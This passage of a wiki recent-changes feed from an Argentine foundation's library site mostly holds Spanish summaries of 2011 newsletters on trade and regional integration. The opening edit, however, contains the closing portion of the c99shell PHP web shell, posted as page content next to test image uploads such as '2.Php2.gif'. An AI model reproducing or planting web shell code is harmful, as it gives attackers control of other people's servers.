type=&amp;quot;hidden&amp;quot; name=&amp;quot;d&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;f&amp;quot; size=&amp;quot;50&amp;quot; value=&amp;quot;&amp;lt;?php echo $dispd; ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Go&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;TABLE style=&amp;quot;BORDER-COLLAPSE: collapse&amp;quot; height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width=&amp;quot;100%&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;990&amp;quot; height=&amp;quot;1&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;&amp;lt;p align=&amp;quot;center&amp;quot;&amp;gt;&amp;lt;b&amp;gt;--[ c99shell v. &amp;lt;?php echo $shver; ?&amp;gt; &amp;lt;a href=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;act=about&amp;quot;&amp;gt;&amp;lt;u&amp;gt;&amp;lt;b&amp;gt;powered by&amp;lt;/b&amp;gt;&amp;lt;/u&amp;gt;&amp;lt;/a&amp;gt; Captain Crunch Security Team | &amp;lt;a href=&amp;quot;http://r57.gen.tr&amp;quot;&amp;gt;&amp;lt;font color=&amp;quot;#FF0000&amp;quot;&amp;gt;r57 shell&amp;lt;/font&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;font color=&amp;quot;#FF0000&amp;quot;&amp;gt;&amp;lt;/font&amp;gt; | Generation time: &amp;lt;?php echo round(getmicrotime()-starttime,4); ?&amp;gt; ]--&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;lt;?php chdir($lastdir); exit;&lt;br /&gt;
//add php tags before usage&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:2.Php2.gif&amp;diff=4415</id>
		<title>Archivo:2.Php2.gif</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:2.Php2.gif&amp;diff=4415"/>
		<updated>2017-01-07T06:09:00Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Test.gif&amp;diff=4414</id>
		<title>Archivo:Test.gif</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Test.gif&amp;diff=4414"/>
		<updated>2017-01-07T05:37:20Z</updated>

		<summary type="html">&lt;p&gt;Esteban: test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;test&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Prueba_111.gif&amp;diff=4413</id>
		<title>Archivo:Prueba 111.gif</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Prueba_111.gif&amp;diff=4413"/>
		<updated>2017-01-07T05:35:38Z</updated>

		<summary type="html">&lt;p&gt;Esteban: Esteban subió una nueva versión de Archivo:Prueba 111.gif&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;111&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Prueba_111.gif&amp;diff=4412</id>
		<title>Archivo:Prueba 111.gif</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Archivo:Prueba_111.gif&amp;diff=4412"/>
		<updated>2017-01-07T05:33:18Z</updated>

		<summary type="html">&lt;p&gt;Esteban: 111&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;111&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Categor%C3%ADa:Internacionalizaci%C3%B3n_de_PyMES&amp;diff=4411</id>
		<title>Categoría:Internacionalización de PyMES</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=Categor%C3%ADa:Internacionalizaci%C3%B3n_de_PyMES&amp;diff=4411"/>
		<updated>2017-01-07T04:01:07Z</updated>

		<summary type="html">&lt;p&gt;Esteban: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La internacionalización de PyMEs, ha sido objeto del Ciclo sobre &amp;quot;Internacionalización de Empresas y Desarrollo del Comercio Exterior Argentino&amp;quot; realizado por la Fundación Standard Bank en 2007.&lt;br /&gt;
&lt;br /&gt;
Una cuestión clave de los nuevos procesos de internacionalización es que las empresas que operan en el escenario internacional lo hacen cada vez más desde países emergentes y que abarca a un mayor número de empresas, ya no sólo las que invierten en el exterior sino las que están expuestas a la competencia global con la dinámica que ello implica en términos de mantenimiento constante de las ventajas competitivas, en un escenario cada vez más dinámico.&lt;br /&gt;
&lt;br /&gt;
Es por ello que esta categoría se vincula necesariamente a las de Calidad, Competitividad, Conectividad y Creatividad ya que todos ellos son factores que permiten la inserción competitiva de las empresas en mercados internacionales.&lt;br /&gt;
&lt;br /&gt;
De ahí que la división de categorías y la inclusión de textos en una u otra categoría o subcategoría sea, de algún modo, arbitraria y no necesariamente mutuamente excluyentes, existiendo múltiples vinculaciones.&lt;br /&gt;
&lt;br /&gt;
El documento surgido del ciclo 2007 fue editado en un libro y DVD.  Los videos de las charlas pueden verse en la Videoteca de la FSTB en esta misma página y el texto completo puede bajarse del sitio de la Fundación Standard Bank.&lt;br /&gt;
&lt;br /&gt;
[http://www.fundacionicbc.com.ar/institucional/inst/sec-ici/esp/docs-investigacion/internacionalizacion-empresas-ce-argentino.pdf Para bajar el texto completo haga click aquí]&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Indice]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2136</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2136"/>
		<updated>2011-12-15T19:40:43Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL FIN DE TRES CICLOS HISTÓRICOS LARGOS: ¿Telón de fondo de dilemas en la construcción de espacios regionales?===&lt;br /&gt;
&lt;br /&gt;
Noviembre 2011&lt;br /&gt;
&lt;br /&gt;
Los cambios estructurales que se están observando en el plano internacional, pueden estar reflejando el fin simultáneo de tres ciclos históricos largos. Ellos han incidido en las relaciones internacionales durante los últimos siglos.&lt;br /&gt;
&lt;br /&gt;
Uno es el iniciado hace quinientos años cuando Europa comienza a ocupar el centro del escenario mundial, que se desplaza al promediar el siglo pasado a los Estados Unidos. Es un ciclo largo centrado en Occidente. El otro es el iniciado con la Revolución Industrial a finales del siglo XVIII que dio lugar, entre otros muchos efectos, a la divergencia de trayectorias económicas entre el centro y la periferia. Y el tercero es el iniciado a mitad del siglo XVII con la Paz de Westfalia, durante el cual surgen diversas modalidades de conciertos de naciones con capacidad de preservar un determinado orden internacional.&lt;br /&gt;
&lt;br /&gt;
Los cambios estructurales son hoy un telón de fondo a tener presente en el análisis de las turbulencias que sacuden al espacio regional europeo. Expresan el fin de una época en que tanto Europa como los Estados Unidos han sido el centro principal en el escenario mundial. Pero también están detrás de los dilemas existenciales y metodológicos que se observan en otros espacios geográficos regionales en los que coexisten naciones soberanas que pueden optar, en sus relaciones recíprocas, por el camino de la fragmentación o por el de la articulación. Incluye al espacio geográfico sudamericano o al más amplio -y a veces difícil de definir- que es el de América Latina y el Caribe.&lt;br /&gt;
&lt;br /&gt;
La construcción de una Europa unida, por mucho tiempo visualizada como una referencia por otras regiones, ha entrado ahora en una fase de incertidumbres y de grandes dilemas. Incertidumbres con respecto al futuro de su modelo económico y social, sustento de un modo de vida y de cada uno de los diversos sistemas políticos nacionales. Dilemas en cuanto a si se puede continuar y en su caso cómo, la construcción de un espacio integrado que presenta éxitos y también visibles falencias.&lt;br /&gt;
&lt;br /&gt;
Es temprano aún para hacer un pronóstico sobre el futuro de la integración europea. Su pasado genera la expectativa de que Europa sabrá reinventarse. En todo caso, no es ésta una cuestión indiferente para los países del Mercosur teniendo en cuenta, entre otros factores, la negociación en curso de un acuerdo interregional que sea atractivo y original.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-11-fin-tres-ciclos-historicos-largos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EROSIÓN DE LAS DISCIPLINAS COLECTIVAS MULTILATERALES: ¿Una resultante de la falta de adaptación del sistema OMC a las nuevas realidades?===&lt;br /&gt;
&lt;br /&gt;
Octubre 2011&lt;br /&gt;
&lt;br /&gt;
La capacidad de adaptación a nuevas realidades que inciden sobre sus objetivos, funciones y razones de existencia, es una de las condiciones para la vigencia, eficacia y legitimidad social de un régimen internacional institucionalizado, sea éste de alcance global o regional. Implica la oportuna adecuación de sus reglas, instrumentos y procesos de producción normativa, a los continuos cambios que se van produciendo en el contexto en el que ellas operan y, en especial, en la distribución de poder entre los países que son parte del respectivo sistema.&lt;br /&gt;
&lt;br /&gt;
Algunas tendencias que se están observando hacia un relajamiento de las disciplinas colectivas que resultan de las reglas pactadas en la OMC -y que en su mayoría provienen del período del GATT- le dan actualidad a la cuestión de la adaptación del sistema en su conjunto a las nuevas realidades internacionales.&lt;br /&gt;
&lt;br /&gt;
Tales tendencias son, en primer lugar, las de modalidades novedosas de proteccionismo que surgen por no encontrarse en las reglas del sistema el sustento para lo que se considera una necesaria defensa de intereses nacionales y, en segundo lugar, la de la una creciente proliferación de acuerdos comerciales preferenciales que pueden implicar en la práctica la erosión del principio de no discriminación que, se sabe, ha sido siempre considerado como vertebral al sistema multilateral global del comercio internacional, o que pueden acentuar una peligrosa fragmentación del sistema de comercio mundial, especialmente por sus contenidos &amp;quot;OMC plus&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
La Octava Conferencia Ministerial a realizarse en diciembre próximo en Ginebra brindaría una oportunidad para poner de manifiesto la existencia de voluntad y capacidad de los países miembros para adaptar la OMC a nuevas realidades mundiales que están emergiendo en forma cada vez más evidentes. Dado el escepticismo que parece predominar hoy sobre sus resultados, quizás sería un paso adelante el que la Conferencia, al menos, permita instalar el inicio de un proceso gradual orientado a encarar algunas de las cuestiones más relevantes que podrían producir una erosión sistémica de alcance impredecible.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-10-falta-de-adaptacion-sistema-omc-nuevas-realidades Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===ALADI, UNASUR Y EL MERCOSUR: ¿Ejes de la construcción institucional de una región que enfrenta sus desafíos?===&lt;br /&gt;
&lt;br /&gt;
Septiembre 2011&lt;br /&gt;
&lt;br /&gt;
Colocar las instituciones regionales en la onda de la nueva realidad mundial y de los desafíos que plantea es una prioridad para los países sudamericanos y para sus otros socios latinoamericanos. En tal perspectiva cabe interrogarse sobre el papel que pueden desempeñar las instituciones regionales que ya existen, y a las que pertenecen la Argentina y sus socios sudamericanos. Especialmente si es que ellas logran trabajar en forma articulada en el plano del diagnóstico y de propuestas concretas para la acción.&lt;br /&gt;
&lt;br /&gt;
Tres instituciones regionales que hoy existen pueden destacarse al respecto. No son las únicas. Pero son las que, por sus ámbitos de acción, más potencial tienen para trabajar en forma articulada. Son la ALADI, la UNASUR y el Mercosur. Son instituciones regionales que tienen objetivos, funciones, alcances geográficos e incluso historias diferentes. Pero son complementarias. Pueden potenciarse mutuamente. Hechos recientes parecen reflejar la intención de iniciar una nueva era de estas tres instituciones regionales.&lt;br /&gt;
&lt;br /&gt;
Se percibe voluntad política de coordinar a los países de la región en sus estrategias para navegar la nueva realidad mundial, enfrentando sus desafíos y aprovechando sus oportunidades. Esas tres instituciones tienen un papel destacado a cumplir al respecto. Una articulación en sus actividades, aprovechando la reciente designación a su frente de personalidades con fuerte experiencia política, permitiría potenciar los servicios que ellas pueden prestar a sus países miembros.&lt;br /&gt;
&lt;br /&gt;
Circunstancias externas que plantean claras necesidades de acción concertada entre países de la región. Instituciones regionales que existen y pueden ser utilizadas. Personalidades políticas de amplia experiencia a cargo de ellas. Diagnósticos elaborados por instituciones de prestigio. Todo indica entonces que están reunidos los elementos necesarios para actuar con eficacia.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-09-aladi-unasur-mercosur-construccion-institucional-de-una-region Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL SISTEMA GATT-OMC EN UN MUNDO DISTINTO AL QUE LE DIO ORIGEN ¿Puede esperarse un impulso renovador de la Conferencia Ministerial de Ginebra?===&lt;br /&gt;
&lt;br /&gt;
Agosto 2011&lt;br /&gt;
&lt;br /&gt;
La necesidad de profundizar un debate sobre el futuro de la OMC no podría estar ausente de la Conferencia Ministerial de Ginebra en diciembre próximo. Es una ocasión sin igual para dar un impulso renovador a un sistema que tiende a mostrar algunos signos de obsolescencia, tanto en sus agendas como en sus métodos de trabajos. Hay, sin embargo, cierto escepticismo sobre sus posibles resultados. &lt;br /&gt;
&lt;br /&gt;
De una forma u otra, la Ronda Doha estará presente en esta Ministerial. Sea por la posibilidad -que ahora se percibe como remota- de avanzar algunos resultados favorables para los países menos desarrollados. O de enviar señales creíbles sobre su futuro. O por la necesidad de abordar de frente el espectro de una OMC con fuertes riesgos de perder eficacia, relevancia y, finalmente, legitimidad. &lt;br /&gt;
&lt;br /&gt;
Al menos tres preguntas parecen relevantes para el necesario debate sobre el futuro de la OMC. Ellas son: ¿cómo sería posible evitar el colapso definitivo de la Rueda Doha, aunque sea concluyéndola en una versión menos ambiciosa que la prevista originalmente? Si ello no fuera factible ¿cómo podría preservarse a la OMC del eventual impacto negativo que tal colapso tendría sobre su eficacia, credibilidad y relevancia? Y aún en caso de que la Rueda Doha fuera rescatable ¿cómo se podría concentrar energía política e imaginación técnica en el diseño de una nueva etapa de la OMC, que permita capitalizar las experiencias acumuladas, fortalecer sus funciones esenciales, e innovar en su agenda de cuestiones prioritarias, sus métodos de trabajo y sus modalidades negociadoras?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tanto la próxima Cumbre del G20 en Cannes como la Ministerial de la OMC en Ginebra, abren una oportunidad para que regiones organizadas asuman un protagonismo activo en la redefinición de la arquitectura del sistema comercial internacional. En ambas oportunidades, Argentina y Brasil podrían incidir con propuestas en el rescate de la Rueda Doha y en el diseño de la nueva etapa de la OMC. Lo razonable es esperar que coordinen sus posiciones y que, en lo posible, también reflejen los puntos de vista del Mercosur y de la región sudamericana.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-08-sistema-gatt-omc-en-un-mundo-distinto-de-su-origen Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro===&lt;br /&gt;
&lt;br /&gt;
Julio 2011&lt;br /&gt;
&lt;br /&gt;
¿Podrá ser el Mercosur percibido en el futuro como un espacio económico regional que se exprese con una sola voz -al menos en cuestiones relevantes de la agenda económica internacional, incluyendo las negociaciones comerciales internacionales? ¿Podrá incluso reflejar los intereses de un espacio regional sudamericano más amplio, de concretarse la anunciada incorporación como miembros plenos de países como Bolivia, Ecuador, eventualmente Colombia, además de consumarse la aún pendiente de Venezuela?&lt;br /&gt;
&lt;br /&gt;
Son algunos de los interrogantes que se pueden formular dado el hecho que el espacio regional sudamericano reúne condiciones de una significativa dimensión económica y de una suficiente masa crítica de poder -al menos potencial-, y que dos países de esta región geográfica -Argentina y Brasil- participan hoy del G20, el que aspira a ser un núcleo institucional relevante en la construcción de una nueva arquitectura económica mundial. Pero sobre todo, dado el hecho que aquello que condujo al momento fundacional, fue precisamente la idea estratégica de crear, a través de pasos incrementales, un espacio económico común abierto a la participación de otros países sudamericanos.&lt;br /&gt;
&lt;br /&gt;
Las Cumbres Presidenciales semestrales del Mercosur, brindan una oportunidad para introducir nuevas energías y orientaciones a la construcción del espacio regional de alcance sudamericano. Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur.&lt;br /&gt;
&lt;br /&gt;
Lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas al asumir la presidencia pro-tempore en la reciente Cumbre de Asunción, permite avanzar una visión sobre algunos ejes temáticos en los que se concentraría el ejercicio de su función temporal de este semestre. En nuestra interpretación, tales ejes se refieren a la necesidad de un planteamiento estratégico hacia el futuro acorde con las nuevas realidades mundiales, a una mayor eficacia de las instituciones, y al desarrollo del concepto de &amp;quot;democracia digital&amp;quot;, quizás el salto hacia un Mercosur 2.0 con nuevas formas de participación ciudadana.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-07-mercosur-mundo-grandes-espacios-economicos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
